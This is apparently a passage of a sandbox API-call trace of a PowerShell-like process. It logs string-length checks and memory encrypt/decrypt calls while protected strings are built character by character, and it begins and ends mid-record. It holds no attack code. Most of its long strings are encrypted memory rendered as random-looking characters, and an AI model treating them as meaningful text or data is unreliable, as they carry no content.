(param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYjH+d菁綼") returned 0x28 [0230.219] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.219] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇죝윣梱郶㮗⽼䞔蔙") returned 0x28 [0230.220] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇죝윣梱郶㮗⽼䞔蔙") returned 0x28 [0230.220] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.220] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYjH+d7綼") returned 0x28 [0230.220] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.220] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇현伧똖迥决㕑㤰쿱") returned 0x28 [0230.220] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇현伧똖迥决㕑㤰쿱") returned 0x28 [0230.220] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.220] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYjH+d71") returned 0x28 [0230.220] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.220] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾") returned 0x28 [0230.221] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾") returned 0x28 [0230.221] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾") returned 0x28 [0230.221] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾") returned 0x30 [0230.221] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0230.221] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYjH+d71k꩒낣\盘릲緺蔄⋮) returned 0x30 [0230.221] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0230.221] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾狶麟㟳쯏㏿申嘬굇") returned 0x30 [0230.221] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾狶麟㟳쯏㏿申嘬굇") returned 0x30 [0230.221] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0230.221] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYjH+d71kX낣\盘릲緺蔄⋮) returned 0x30 [0230.222] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0230.222] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾粂朮ℨÌ쐸㑕ᖭ洟") returned 0x30 [0230.222] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾粂朮ℨÌ쐸㑕ᖭ洟") returned 0x30 [0230.222] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0230.222] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYjH+d71kXg\盘릲緺蔄⋮) returned 0x30 [0230.222] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0230.222] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾뷬뵴록᩷빉ྦྷ鑟䕒") returned 0x30 [0230.222] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇켻鋇쟊抱㦙䳆眎⎾뷬뵴록᩷빉ྦྷ鑟䕒") returned 0x30 [0230.222] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0230.222] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYjH+d71kXg=뉶調ѽ") returned 0x30 [0230.222] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0230.222] EtwEventActivityIdControl () returned 0x0 [0230.223] EtwEventActivityIdControl () returned 0x0 [0230.223] EtwEventActivityIdControl () returned 0x0 [0230.223] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.224] EtwEventActivityIdControl () returned 0x0 [0230.224] EtwEventActivityIdControl () returned 0x0 [0230.224] EtwEventActivityIdControl () returned 0x0 [0230.397] SysStringLen (param_1="") returned 0x8 [0230.398] SysStringLen (param_1="N") returned 0x8 [0230.398] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.398] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0230.398] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0230.398] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.398] SysStringLen (param_1="ND") returned 0x8 [0230.398] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.398] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0230.398] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0230.398] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.399] SysStringLen (param_1="NDZ") returned 0x8 [0230.399] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.399] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0230.399] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0230.399] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.399] SysStringLen (param_1="NDZl") returned 0x8 [0230.399] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.399] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0230.399] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0230.399] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.399] SysStringLen (param_1="NDZlO") returned 0x8 [0230.399] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.400] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0230.400] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0230.400] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.400] SysStringLen (param_1="NDZlOD") returned 0x8 [0230.400] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.400] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0230.400] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0230.400] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.400] SysStringLen (param_1="NDZlODR") returned 0x8 [0230.400] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.400] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0230.400] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0230.400] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.401] SysStringLen (param_1="NDZlODRm") returned 0x8 [0230.401] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0230.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0230.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0230.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0230.402] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.402] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0230.402] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0230.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0230.402] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.402] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0230.402] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0230.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0230.403] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.403] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0230.403] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0230.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0230.403] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.403] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0230.403] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0230.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0230.403] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.404] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0230.404] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0230.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0230.404] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.404] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0230.404] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0230.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0230.404] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.404] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0230.404] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0230.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0230.405] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.405] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0230.405] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0230.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0230.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0230.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0230.406] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.406] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0230.406] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0230.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0230.406] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.406] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0230.406] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0230.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0230.407] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.407] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0230.407] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0230.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0230.407] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.407] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0230.407] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0230.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0230.407] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.407] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0230.407] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0230.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0230.408] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.408] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0230.408] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0230.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0230.408] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.408] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0230.408] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0230.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0230.408] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.409] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0230.409] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0230.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0230.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0230.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0230.410] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0230.410] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0230.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0230.410] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0230.410] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0230.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0230.410] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0230.411] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0230.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0230.411] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0230.411] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0230.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0230.411] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0230.411] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0230.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0230.412] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.412] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0230.412] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0230.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0230.412] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.412] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0230.412] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0230.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0230.412] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0230.413] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0230.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0230.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0230.413] SysStringLen 